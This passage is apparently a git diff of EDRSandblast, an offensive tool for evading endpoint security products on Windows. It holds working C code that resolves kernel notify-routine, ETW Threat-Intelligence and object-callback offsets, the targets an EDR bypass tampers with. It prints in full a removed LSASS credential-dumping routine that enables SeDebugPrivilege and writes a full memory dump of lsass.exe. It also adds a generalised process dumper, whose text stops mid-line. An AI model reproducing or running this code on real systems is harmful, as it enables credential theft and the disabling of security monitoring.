PsSetCreateThreadNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateThreadNotifyRoutine"); + DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF); + DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateThreadNotifyRoutineAddress, 1, 5); // Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]". - DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8); - DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7); - _tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress); + DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8); + DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateThreadNotifyRoutineAddress, 3, 7); + _tprintf_or_not(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress); - CloseHandle(Device); - return PspCreateThreadNotifyRoutineAddress; } DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) { - _tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n")); - HANDLE Device = GetDriverHandle(); + _putts_or_not(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern")); // Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]". - DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx"); - DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8); - DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);; - _tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress); + DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetKernelFunctionAddress("PsSetLoadImageNotifyRoutineEx"); + DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8); + DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(LeaPspLoadImageNotifyRoutineAddress, 3, 7);; + _tprintf_or_not(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress); - CloseHandle(Device); - return PspLoadImageNotifyRoutineAddress; } \ No newline at end of file diff --git a/EDRSandblast/Utils/LSASSDump.c b/EDRSandblast/Utils/LSASSDump.c deleted file mode 100644 index c1c277d..0000000 --- a/EDRSandblast/Utils/LSASSDump.c +++ /dev/null @@ -1,95 +0,0 @@ -/* - ---- LSASS dump functions. - -*/ -#include -#include -#include -#include -#include "LSASSDump.h" - -BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) -{ - LUID luid; - BOOL bRet = FALSE; - - if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) - { - TOKEN_PRIVILEGES tp; - - tp.PrivilegeCount = 1; - tp.Privileges[0].Luid = luid; - tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0; - - if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) - { - bRet = (GetLastError() == ERROR_SUCCESS); - } - } - return bRet; -} - -DWORD WINAPI dumpLSASSProcess(void* data) { - HANDLE hProcessSnap; - HANDLE hProcess; - PROCESSENTRY32 pe32; - - TCHAR* outputDump = (TCHAR*)data; - - //Enable the SeDebugPrivilege - HANDLE hToken; - if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) - { - SetPrivilege(hToken, SE_DEBUG_NAME, TRUE); - CloseHandle(hToken); - } - - // Take a snapshot of all processes in the system. - hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hProcessSnap == INVALID_HANDLE_VALUE) { - _tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n")); - return 1; - } - - // Set the size of the structure before using it. - pe32.dwSize = sizeof(PROCESSENTRY32); - - // Retrieve information about the first process, - // and exit if unsuccessful - if (!Process32First(hProcessSnap, &pe32)) { - _tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure - CloseHandle(hProcessSnap); // clean the snapshot object - return 1; - } - - // Now walk the snapshot of processes, and look for lsass. - do { - if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) { - continue; - } - - hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID); - if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) { - _tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcesswith error 0x%x)\n"), GetLastError()); - return 1; - } - - HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - if (hDumpFile == INVALID_HANDLE_VALUE) { - _tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n")); - return 1; - } - BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL); - if (!dumped) { - _tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump with error 0x%x)\n"), GetLastError()); - return 1; - } - _tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump); - CloseHandle(hProcess); - - } while (Process32Next(hProcessSnap, &pe32)); - - CloseHandle(hProcessSnap); - return 0; -} \ No newline at end of file diff --git a/EDRSandblast/Utils/ListUtils.c b/EDRSandblast/Utils/ListUtils.c new file mode 100644 index 0000000..74ab455 --- /dev/null +++ b/EDRSandblast/Utils/ListUtils.c @@ -0,0 +1,15 @@ +#include "ListUtils.h" + +VOID freeLinkedList(PVOID head) { + PLINKED_LIST previousNode = NULL; + PLINKED_LIST currentNode = (PLINKED_LIST)head; + + while (currentNode) { + previousNode = currentNode; + currentNode = currentNode->next; + free(previousNode); + previousNode = NULL; + } + + return; +} \ No newline at end of file diff --git a/EDRSandblast/Utils/NtoskrnlOffsets.c b/EDRSandblast/Utils/NtoskrnlOffsets.c index b9ea351..e3ba221 100644 --- a/EDRSandblast/Utils/NtoskrnlOffsets.c +++ b/EDRSandblast/Utils/NtoskrnlOffsets.c @@ -7,24 +7,25 @@ #include #include -#include "NtoskrnlOffsets.h" #include "FileVersion.h" +#include "PdbSymbols.h" +#include "../EDRSandblast.h" -union NtoskrnlOffsets ntoskrnlOffsets = { 0 }; +#include "NtoskrnlOffsets.h" + +union NtoskrnlOffsets g_ntoskrnlOffsets = { 0 }; // Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. -union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) { - TCHAR ntoskrnlVersion[256] = { 0 }; - GetNtoskrnlVersion(ntoskrnlVersion); - _tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion); +void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename) { + LPTSTR ntoskrnlVersion = GetNtoskrnlVersion(); + _tprintf_or_not(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion); FILE* offsetFileStream = NULL; _tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r")); - union NtoskrnlOffsets offset_results = { 0 }; if (offsetFileStream == NULL) { - _tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n")); - return offset_results; + _putts_or_not(TEXT("[!] Offset CSV file connot be opened")); + return; } TCHAR lineNtoskrnlVersion[256]; @@ -35,13 +36,109 @@ union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) { _tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer)); if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) { TCHAR* endptr; - _tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion); + _tprintf_or_not(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion); for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) { - offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16); + g_ntoskrnlOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16); } break; } } fclose(offsetFileStream); - return offset_results; +} + +void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename) { + LPTSTR ntoskrnlVersion = GetNtoskrnlVersion(); + + FILE* offsetFileStream = NULL; + _tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("a")); + + if (offsetFileStream == NULL) { + _putts_or_not(TEXT("[!] Offset CSV file connot be opened")); + return; + } + + _ftprintf(offsetFileStream, TEXT("%s"), ntoskrnlVersion); + for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) { + _ftprintf(offsetFileStream, TEXT(",%llx"), g_ntoskrnlOffsets.ar[i]); + } + _fputts(TEXT(""), offsetFileStream); + + fclose(offsetFileStream); +} + +void PrintNtoskrnlOffsets() { + _tprintf_or_not(TEXT("[+] Ntoskrnl offsets: ")); + for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END - 1; i++) { + _tprintf_or_not(TEXT(" %llx |"), g_ntoskrnlOffsets.ar[i]); + } + _tprintf_or_not(TEXT("%llx\n"), g_ntoskrnlOffsets.ar[_SUPPORTED_NTOSKRNL_OFFSETS_END - 1]); +} +void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) { + symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath()); + if (sym_ctx == NULL) { + return; + } + g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateProcessNotifyRoutine"); + g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateThreadNotifyRoutine"); + g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolAddress(sym_ctx, "PspLoadImageNotifyRoutine"); + g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolAddress(sym_ctx, "EtwThreatIntProvRegHandle"); + g_ntoskrnlOffsets.st.eprocess_protection= GetFieldOffset(sym_ctx, "_EPROCESS", L"Protection"); + g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry= GetFieldOffset(sym_ctx, "_ETW_REG_ENTRY", L"GuidEntry"); + g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo = GetFieldOffset(sym_ctx, "_ETW_GUID_ENTRY", L"ProviderEnableInfo"); + g_ntoskrnlOffsets.st.psProcessType = GetSymbolAddress(sym_ctx, "PsProcessType"); + g_ntoskrnlOffsets.st.psThreadType = GetSymbolAddress(sym_ctx, "PsThreadType"); + g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList"); + UnloadSymbols(sym_ctx, delete_pdb); +} + +BOOL NtoskrnlOffsetsAreAllPresent() { + return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlEtwtiOffsetsArePresent() && g_ntoskrnlOffsets.st.eprocess_protection != 0 && NtoskrnlObjectCallbackOffsetsArePresent(); +} + +BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent() { + return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlObjectCallbackOffsetsArePresent(); +} + +BOOL NtoskrnlNotifyRoutinesOffsetsArePresent() { + return g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine != 0 && + g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine != 0 && + g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine != 0; +} + +BOOL NtoskrnlEtwtiOffsetsArePresent() { + return g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo != 0 && + g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry != 0 && + g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle != 0; +} + +BOOL NtoskrnlObjectCallbackOffsetsArePresent() { + return g_ntoskrnlOffsets.st.psProcessType != 0 && + g_ntoskrnlOffsets.st.psThreadType != 0 && + g_ntoskrnlOffsets.st.object_type_callbacklist != 0; +} + +TCHAR g_ntoskrnlPath[MAX_PATH] = { 0 }; +LPTSTR GetNtoskrnlPath() { + if (_tcslen(g_ntoskrnlPath) == 0) { + // Retrieves the system folder (eg C:\Windows\System32). + TCHAR systemDirectory[MAX_PATH] = { 0 }; + GetSystemDirectory(systemDirectory, _countof(systemDirectory)); + + // Compute ntoskrnl.exe path. + _tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), systemDirectory); + _tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), TEXT("\\ntoskrnl.exe")); + } + return g_ntoskrnlPath; +} + +TCHAR g_ntoskrnlVersion[256] = { 0 }; +LPTSTR GetNtoskrnlVersion() { + if (_tcslen(g_ntoskrnlVersion) == 0) { + + LPTSTR ntoskrnlPath = GetNtoskrnlPath(); + TCHAR versionBuffer[256] = { 0 }; + GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath); + _stprintf_s(g_ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer); + } + return g_ntoskrnlVersion; } \ No newline at end of file diff --git a/EDRSandblast/Userland/PEBBrowse.c b/EDRSandblast/Utils/PEBBrowse.c similarity index 95% rename from EDRSandblast/Userland/PEBBrowse.c rename to EDRSandblast/Utils/PEBBrowse.c index f5b226b..9bf88e7 100644 --- a/EDRSandblast/Userland/PEBBrowse.c +++ b/EDRSandblast/Utils/PEBBrowse.c @@ -2,6 +2,7 @@ * Functions that browse the PEB structure instead of relying on GetModuleHandle */ +#include "../EDRSandblast.h" #include "Undoc.h" #include "PEBBrowse.h" #include @@ -18,7 +19,7 @@ LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) { } } #ifdef _DEBUG - printf("getModuleEntryFromNameW failed to find module\n"); + printf_or_not("getModuleEntryFromNameW failed to find module\n"); #endif // _DEBUG return NULL; } diff --git a/EDRSandblast/Userland/PEParser.c b/EDRSandblast/Utils/PEParser.c similarity index 87% rename from EDRSandblast/Userland/PEParser.c rename to EDRSandblast/Utils/PEParser.c index a2e5581..61c0cf7 100644 --- a/EDRSandblast/Userland/PEParser.c +++ b/EDRSandblast/Utils/PEParser.c @@ -3,6 +3,7 @@ * Among other things, reimplements GetProcAddress and the PE relocation process */ +#include "../EDRSandblast.h" #include "PEParser.h" #include #include @@ -143,7 +144,7 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress) QWORD* relocQwAddress; if (pe->isMemoryMapped) { - printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n"); + printf_or_not("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n"); return; } if (NULL == pe->relocations) { @@ -167,7 +168,7 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress) *relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress); break; default: - printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type); + printf_or_not("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type); exit(1); } } @@ -208,6 +209,23 @@ PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) { pe->exportedNamesLength = pe->exportDirectory->NumberOfNames; } pe->relocations = NULL; + DWORD debugRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress; + if (debugRVA == 0) { + pe->debugDirectory = NULL; + } + else { + pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA); + if (pe->debugDirectory->Type != IMAGE_DEBUG_TYPE_CODEVIEW) { + pe->debugDirectory = NULL; + } + else { + pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData); + if (pe->codeviewDebugInfo->signature != *((DWORD*)"RSDS")) { + pe->debugDirectory = NULL; + pe->codeviewDebugInfo = NULL; + } + } + } return pe; } @@ -255,6 +273,28 @@ PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) { ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL); } pe->relocations = NULL; + DWORD debugRVA = 0; + ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress, &debugRVA, sizeof(debugRVA), NULL); + if (debugRVA == 0) { + pe->debugDirectory = NULL; + } + else { + pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA); + DWORD debugDirectoryType; + ReadProcessMemory(hProcess, &pe->debugDirectory->Type, &debugDirectoryType, sizeof(debugDirectoryType), NULL); + if (debugDirectoryType != IMAGE_DEBUG_TYPE_CODEVIEW) { + pe->debugDirectory = NULL; + } + else { + pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData); + DWORD codeviewDebugInfoSignature; + ReadProcessMemory(hProcess, &pe->codeviewDebugInfo->signature, &codeviewDebugInfoSignature, sizeof(pe->codeviewDebugInfo->signature), NULL); + if (codeviewDebugInfoSignature != *((DWORD*)"RSDS")) { + pe->debugDirectory = NULL; + pe->codeviewDebugInfo = NULL; + } + } + } return pe; } @@ -289,6 +329,9 @@ DWORD PE_functionRVA(PE* pe, LPCSTR functionName) { PVOID PE_functionAddr(PE* pe, LPCSTR functionName) { DWORD functionRVA = PE_functionRVA(pe, functionName); + if (functionRVA == 0) { + return NULL; + } return PE_RVA_to_Addr(pe, functionRVA); } @@ -365,4 +408,13 @@ PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReference } return NULL; -} \ No newline at end of file +} + +VOID PE_destroy(PE* pe) +{ + if (pe->relocations) { + free(pe->relocations); + pe->relocations = NULL; + } + free(pe); +} diff --git a/EDRSandblast/Utils/PdbSymbols.c b/EDRSandblast/Utils/PdbSymbols.c new file mode 100644 index 0000000..17b6a13 --- /dev/null +++ b/EDRSandblast/Utils/PdbSymbols.c @@ -0,0 +1,171 @@ +#include +#include +#include +#include + +#include "../EDRSandblast.h" +#include "FileUtils.h" +#include "HttpClient.h" +#include "PEParser.h" + +#include "PdbSymbols.h" + + +BOOL DownloadPDB(GUID guid, DWORD age, LPCWSTR pdb_name_w, PBYTE* file, SIZE_T* file_size) { + WCHAR full_pdb_uri[MAX_PATH] = { 0 }; + swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%04hX%04hX%016llX%X/%s", pdb_name_w, guid.Data1, guid.Data2, guid.Data3, _byteswap_uint64(*((DWORD64*)guid.Data4)), age, pdb_name_w); + return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size); +} + +BOOL DownloadPDBFromPE(PE* image_pe, PBYTE* file, SIZE_T* file_size) { + WCHAR pdb_name_w[MAX_PATH] = { 0 }; + GUID guid = image_pe->codeviewDebugInfo->guid; + DWORD age = image_pe->codeviewDebugInfo->age; + MultiByteToWideChar(CP_UTF8, 0, image_pe->codeviewDebugInfo->pdbName, -1, pdb_name_w, _countof(pdb_name_w)); + return DownloadPDB(guid, age, pdb_name_w, file, file_size); +} + +BOOL DownloadOriginalFileW(DWORD image_timestamp, DWORD image_size, LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) { + WCHAR full_pdb_uri[MAX_PATH] = { 0 }; + swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%X/%s", image_name, image_timestamp, image_size, image_name); + return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size); +} + +BOOL DownloadOriginalFileFromPE(PE* image_pe, _In_opt_ LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) { + DWORD image_size = image_pe->optHeader->SizeOfImage; + //useless check + if (image_size & 0xFFF) { + image_size &= ~0xFFF; + image_size += 0x1000; + } + DWORD image_timestamp = image_pe->ntHeader->FileHeader.TimeDateStamp; + WCHAR image_name_w[MAX_PATH] = { 0 }; + if (image_name == NULL) { + if (image_pe->exportDirectory != NULL) { + LPCSTR image_name_a = (LPCSTR)PE_RVA_to_Addr(image_pe, image_pe->exportDirectory->Name); + MultiByteToWideChar(CP_UTF8, 0, image_name_a, -1, image_name_w, _countof(image_name_w)); + image_name = image_name_w; + } + else { + return FALSE; + } + } + return DownloadOriginalFileW(image_timestamp, image_size, image_name, file, file_size); +} + + +symbol_ctx* LoadSymbolsFromPE(PE* pe) { + symbol_ctx* ctx = calloc(1, sizeof(symbol_ctx)); + if (ctx == NULL) { + return NULL; + } + int size_needed = MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, NULL, 0); + ctx->pdb_name_w = calloc(size_needed, sizeof(WCHAR)); + MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, ctx->pdb_name_w, size_needed); + if (!FileExistsW(ctx->pdb_name_w)) { + PBYTE file; + SIZE_T file_size; + BOOL res = DownloadPDBFromPE(pe, &file, &file_size); + if (!res) { + free(ctx); + return NULL; + } + WriteFullFileW(ctx->pdb_name_w, file, file_size); + free(file); + } + DWORD64 asked_pdb_base_addr = 0x1337000; + DWORD pdb_image_size = MAXDWORD; + HANDLE cp = GetCurrentProcess(); + if (!SymInitialize(cp, NULL, FALSE)) { + free(ctx); + return NULL; + } + ctx->sym_handle = cp; + + DWORD64 pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0); + while (pdb_base_addr == 0) { + DWORD err = GetLastError(); + if (err == ERROR_SUCCESS) + break; + if (err == ERROR_FILE_NOT_FOUND) { + printf_or_not("PDB file not found\n"); + SymUnloadModule(cp, asked_pdb_base_addr);//TODO : fix handle leak + SymCleanup(cp); + free(ctx); + return NULL; + } + printf_or_not("SymLoadModuleExW, error 0x%x\n", GetLastError()); + asked_pdb_base_addr += 0x1000000; + pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0); + } + ctx->pdb_base_addr = pdb_base_addr; + return ctx; +} + +symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path) { + PVOID image_content = ReadFullFileW(image_file_path); + PE* pe = PE_create(image_content, FALSE); + symbol_ctx* ctx = LoadSymbolsFromPE(pe); + PE_destroy(pe); + free(image_content); + return ctx; +} + +DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name) { + SYMBOL_INFO_PACKAGE si = { 0 }; + si.si.SizeOfStruct = sizeof(SYMBOL_INFO); + si.si.MaxNameLen = sizeof(si.name); + SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si); + return si.si.Address - ctx->pdb_base_addr; +} + +DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) { + SYMBOL_INFO_PACKAGE si = {0}; + si.si.SizeOfStruct = sizeof(SYMBOL_INFO); + si.si.MaxNameLen = sizeof(si.name); + BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, struct_name, &si.si); + if (!res) { + return 0; + } + + TI_FINDCHILDREN_PARAMS* childrenParam = calloc(1, sizeof(TI_FINDCHILDREN_PARAMS)); + if (childrenParam == NULL) { + return 0; + } + + res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_GET_CHILDRENCOUNT, &childrenParam->Count); + if (!res){ + return 0; + } + TI_FINDCHILDREN_PARAMS* ptr = realloc(childrenParam, sizeof(TI_FINDCHILDREN_PARAMS) + childrenParam->Count * sizeof(ULONG)); + if (ptr == NULL) { + free(childrenParam); + return 0; + } + childrenParam = ptr; + res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_FINDCHILDREN, childrenParam); + DWORD offset = 0; + for (ULONG i = 0; i < childrenParam->Count; i++) { + ULONG childID = childrenParam->ChildId[i]; + WCHAR* name = NULL; + SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_SYMNAME, &name); + if (wcscmp(field_name, name)) { + continue; + } + SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_OFFSET, &offset); + break; + } + free(childrenParam); + return offset; +} + +void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb) { + SymUnloadModule(ctx->sym_handle, ctx->pdb_base_addr); + SymCleanup(ctx->sym_handle); + if (delete_pdb) { + DeleteFileW(ctx->pdb_name_w); + } + free(ctx->pdb_name_w); + ctx->pdb_name_w = NULL; + free(ctx); +} diff --git a/EDRSandblast/Utils/ProcessDump.c b/EDRSandblast/Utils/ProcessDump.c new file mode 100644 index 0000000..3344cd7 --- /dev/null +++ b/EDRSandblast/Utils/ProcessDump.c @@ -0,0 +1,102 @@ +/* + +--- Process dump functions. + +*/ +#include +#include +#include +#include + +#include "../EDRSandblast.h" +#include "PEParser.h" +#include "ProcessDump.h" + +BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { + LUID luid; + BOOL bRet = FALSE; + + if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) { + TOKEN_PRIVILEGES tp = { 0 }; + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0; + + if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { + bRet = (GetLastError() == ERROR_SUCCESS); + } + } + return bRet; +} + +DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) { + HANDLE hProcessSnap; + HANDLE hProcess; + PROCESSENTRY32 pe32 = { 0 }; + + //Enable the SeDebugPrivilege + HANDLE hToken; + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { + SetPrivilege(hToken, SE_DEBUG_NAME, TRUE); + CloseHandle(hToken); + } + + // Take a snapshot of all processes in the system. + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) { + _tprintf_or_not(TEXT("[!] %s dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"), processName); + return 1; + } + + // Set the size of the structure before using it. + pe32.dwSize = sizeof(PROCESSENTRY32); + + // Retrieve information about the first process, + // and exit if unsuccessful + if (!Process32First(hProcessSnap, &pe32)) { + _tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName); // show cause of failure + CloseHandle(hProcessSnap); // clean the snapshot object + return 1; + } + + //HANDLE hDbghelp = LoadLibrary(TEXT("dbgcore.dll")); + //PE* dbghelpPe = PE_create(hDbghelp, TRUE); + //_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) PE_functionAddr(dbghelpPe, "MiniDumpWriteDump"); + + _MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(LoadLibrary(TEXT("dbghelp.dll")), "MiniDumpWriteDump"); + + // Now walk the snapshot of processes, and look for the specified process. + do { + if (_tcscmp(pe32.szExeFile, processName)) { + continue; + } + + hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID); + if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) { + _tprintf_or_not(TEXT("[!] %s dump failed: couldn't open process memory (OpenProcesswith error 0x%x)\n"), processName, GetLastError()); + return 1; + } + + HANDLE hDumpFile = CreateFile(outputDumpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hDumpFile == INVALID_HANDLE_VALUE) { + _tprintf_or_not(TEXT("[!] %s dump failed: couldn't create dump file (CreateFile)\n"), processName); + return 1; + } + BOOL dumped = MiniDumpWriteDumpFunc(hProcess, 